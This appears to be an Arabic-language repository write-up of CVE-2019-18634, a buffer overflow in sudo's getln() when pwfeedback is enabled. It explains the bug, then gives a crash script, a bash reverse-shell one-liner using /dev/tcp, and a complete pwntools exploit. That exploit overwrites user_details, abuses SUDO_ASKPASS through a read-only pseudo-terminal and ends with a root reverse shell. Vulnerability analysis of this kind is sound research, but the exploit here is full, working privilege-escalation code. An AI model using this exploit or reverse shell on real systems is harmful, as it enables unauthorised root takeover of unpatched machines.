
يحتوي هذا المستودع على الاكسبلويت وشرح طريقة استغلال هذه الثغرة.
CVE-2019-18634 هي ثغرة أمنية تؤثر على Sudo في الإصدارات < 1.8.25 عندما يكون pwfeedback مفعّلاً في ملف sudoers. وهي تسمح للمهاجم برفع الامتيازات إلى صلاحيات الجذر (root) عبر استغلال تجاوز سعة مخزن مؤقت يستند إلى قطاع BSS (BSS-Based Buffer Overflow)، حيث يتم تغيير بنى البيانات فيظن البرنامج أنه يُنفَّذ بصلاحيات الجذر، وبالتالي لا يطلب كلمة المرور بعد الآن ويمنح صلاحيات الجذر.
في هذا التحليل، سأتعمق أولاً في اكتشاف الثغرة من خلال تحليل الكود وفهم ما هو الخطأ. توضح مقالة NIST أن الثغرة موجودة في الدالة getln()، لذا دعونا نلقي نظرة عليها أولاً:
نلاحظ أن الدالة تقرأ من واصف ملف (file descriptor) عدد مرات يساوي buffersize واحداً تلو الآخر، وإذا كان الحرف المقروء هو sudo-term-kill، فإنها تبدأ بمسح كل المدخلات المُرسلة، وتعيد المؤشر الحالي إلى البداية، وتضبط مرة أخرى عدد الأحرف المطلوب قراءتها على buffersize.
يقع الخطأ في المقطع البرمجي التالي:
static char *
getln(int fd, char *buf, size_t bufsiz, int feedback)
{
size_t left = bufsiz;
ssize_t nr = -1;
char *cp = buf;
char c = '\0';
debug_decl(getln, SUDO_DEBUG_CONV)
// ...
while (--left) {
nr = read(fd, &c, 1);
if (nr != 1 || c == '\n' || c == '\r')
break;
if (feedback) {
if (c == sudo_term_kill) {
while (cp > buf) {
if (write(fd, "\b \b", 3) == -1)
break;
--cp;
}
left = bufsiz;
continue;
}
// ...
}
*cp++ = c;
}
// ...
}
ببساطة، عندما يكون الحرف sudo-term-kill موجوداً، وإذا فشلت عملية الكتابة (write)، فإنها لن تُنقِص مؤشر المخزن المؤقت، لكنها ستعيد ضبط العداد الخاص بعدد الأحرف التي يمكن كتابتها، مما يتيح فعلياً كتابة بطول عشوائي على ذلك المخزن.
يكشف التحليل المتعمق للكود والدوال المستخدمة أن حرف sudo-term-kill يُعرَّف كعدد صحيح عام غير معلن (global undeclared integer)، أي أنه ستتم تهيئته إلى 0 ما لم يستقبل مدخلات من طرفية (terminal)، وعندها سيأخذ القيمة المضبوطة في بنية termios c_cc، والتي وفقاً للتوثيق هي:
لن أتعمق كثيراً في الاستنتاجات هنا، لكن يمكن إعادة إنتاجها جميعاً من خلال الاطلاع على الكود المصدري لملف term.c في مستودع Sudo.
بعد هذا التحليل الصغير، لم يتبقَّ سوى جعل البرنامج ينهار (crash) وتصحيحه (debug) حتى نتمكن من رؤية ما يتم تخزينه وكيف يمكن استغلاله لتحقيق مكسب.
لإطلاق الاستغلال، يكفي إرسال حمولة (payload) تحتوي على بيانات كافية لتجاوز سعة المخزن المؤقت وإسقاط البرنامج. للقيام بذلك، قررت استخدام مكتبة بايثون pwntools
import pwn
payload = b"A\x00"*10000
p = pwn.process(["/usr/local/bin/sudo", "-k", "-S", "id"]) # -k for asking the password every time, -S to specify stdin, as pwntools needs to pass data through stdin
print(p.read())
p.sendline(payload)
print(p.read())
وهو عند تنفيذه أعطى الخطأ التالي:

ممتاز!! خطأ تجزئة (Segmentation fault)، إذن قمنا بالكتابة فوق شيء تسبب في إيقاف تنفيذ البرنامج. الآن، ينبغي أن ننظر إلى ما تمت الكتابة فوقه وإلى طرق الاستفادة من ذلك.
لتصحيح أخطاء البرنامج، علينا فقط إيقاف تنفيذ العملية مؤقتاً قبل إرسال الحمولة، ثم إرفاق مصحح أخطاء (debugger) بها، ثم استئناف التنفيذ. يجب أن يتم الأمر بهذه الطريقة لأنه لتصحيح عملية sudo يجب استخدام صلاحيات الجذر، ولكن ذلك يجعل البرنامج لا يطلب كلمة المرور، وهذا الجزء هو موطن الثغرة.
بعد أن اتضح ذلك، دعنا ننتقل لمعرفة ما تم تخزينه في المخزن المؤقت وعناوين الذاكرة التالية:

يمكننا أن نرى أنه بالإضافة إلى المخزن المؤقت، تمت الكتابة فوق عدة بنى بيانات أخرى، وهو ما قد يكون مثيراً للاهتمام لاستغلال هذه الثغرة. بعد ذلك، قررت الاطلاع على البيانات التي كانت في تلك البنى قبل الكتابة فوقها. وللقيام بذلك، نفذت السكربت نفسه لكن مع الكتابة فوق buffersize بايت فقط من البيانات، ثم حللت الذاكرة مرة أخرى:
كما نرى، فإن بنية البيانات signo كلها أصفار، باستثناء البايت في الموضع 548، وهو 0x02. وتليها بنية user-details، التي يُشار إليها في الكود بأنها تفاصيل المستخدم الذي يشغّل sudo. القيمة 0x02 تمثل الخيار -S، كما هو معرَّف في ملف sudo.h. في الملف نفسه، يُعرَّف خيار آخر اسمه Askpass، حيث يتم جلب برنامج من متغير بيئة ويُستخدم كمساعد للحصول على كلمة المرور (بدلاً من استخدام TTY أو STDIN). بهذه المعلومات، قد يصبح مسار الاستغلال أوضح قليلاً الآن.
قد نتمكن من تعيين برنامج مساعد مخصص (لنقل، قشرة عكسية reverse shell)، ثم الكتابة فوق user-details لنجعل الأمر يبدو كما لو أن sudo قد نُفِّذ بواسطة المستخدم الجذر.
من أجل الاستغلال، ما يزال هناك أمر يجب التغلب عليه: نحتاج إلى كتابة أصفار (0) للحفاظ على البيانات الأصلية في بنى البيانات، كما نحتاج أيضاً إلى تعيين تفاصيل المستخدم على أنها تفاصيل الجذر. لذلك، لا يمكننا استخدام الإدخال القياسي stdin لأنه لن يكتب الأصفار. لحسن الحظ، نعلم أنه إذا استخدمنا جهاز طرفية، فإن حرف الإنهاء kill character هو 0x15، وهو حرف لا نحتاجه إطلاقاً.
هنا تنشأ مشكلة: نحتاج إلى أن تفشل عملية الكتابة، لكن الأجهزة الطرفية قابلة للقراءة والكتابة، مما يعني أنها لن تتسبب في فشل عملية الكتابة. بعد بعض البحث، وجدت ما يُعرف بالأطراف الصناعية (pseudo terminals / PTY)، وهي أجهزة طرفية يمكن إنشاؤها من البرامج والتحكم بها:

باستخدام PTY يمكننا التواصل مع الطرف الرئيسي (master)، وسيتواصل الطرف الرئيسي مع الطرف التابع (slave). إذا ضبطنا الطرف التابع بحيث تكون له صلاحيات القراءة فقط، فلن تتمكن البرامج أبداً من الكتابة إليه (وبالتالي ستفشل عملية الكتابة)، مما يعني أننا سنتمكن من إطلاق الاستغلال.
بعد تجهيز كل ذلك، لم يتبقَّ سوى كتابة القشرة العكسية
#!/usr/bin/bash
bash -i >& /dev/tcp/127.0.0.1/4242 0>&1
والاستغلال:
import os
import pwn
import sys
####### Offsets of important info #######
buff = 0x563142f712c0
signo = 0x563142f713e0
userdetails = 0x563142f71500
tgetflag = 0x563142f714e4
####### PTY file descriptors ######
masterfd, slavefd = os.openpty()
fd = os.open(os.ttyname(slavefd), os.O_RDONLY)
rshell = "/tmp/revshell.sh"
####### Process started with pty as stdin and rshell as sudo askpass program ###
proc = pwn.process(['/usr/local/bin/sudo', '-k', '-S', 'id'], env={'SUDO_ASKPASS':rshell}, stdin=fd)
pwn.log.info(f"Process started. Will execute {rshell} as payload")
####### Listener #######
port = pwn.listen(4242)
####### Payload #######
pwn.log.info("Sending Payload")
payload = (b'\x00' + b'\x15') * (tgetflag - buff)
payload += pwn.p64(0x4).ljust(userdetails - tgetflag, b'\x00')
payload += pwn.p32(0)
payload += pwn.p32(0)
payload += pwn.p32(0)
payload += pwn.p32(0)
payload += pwn.p32(0)
payload += pwn.p32(0)
payload += pwn.p32(0)
payload += pwn.p32(0)
payload += pwn.p32(0)
os.write(masterfd, payload + b'\n')
port.wait_for_connection()
pwn.log.info("wo0t wo0t welcome back, my lord")
port.interactive()
باستخدام هذه الأدوات، يتم استلام قشرة عكسية بصلاحيات الجذر:
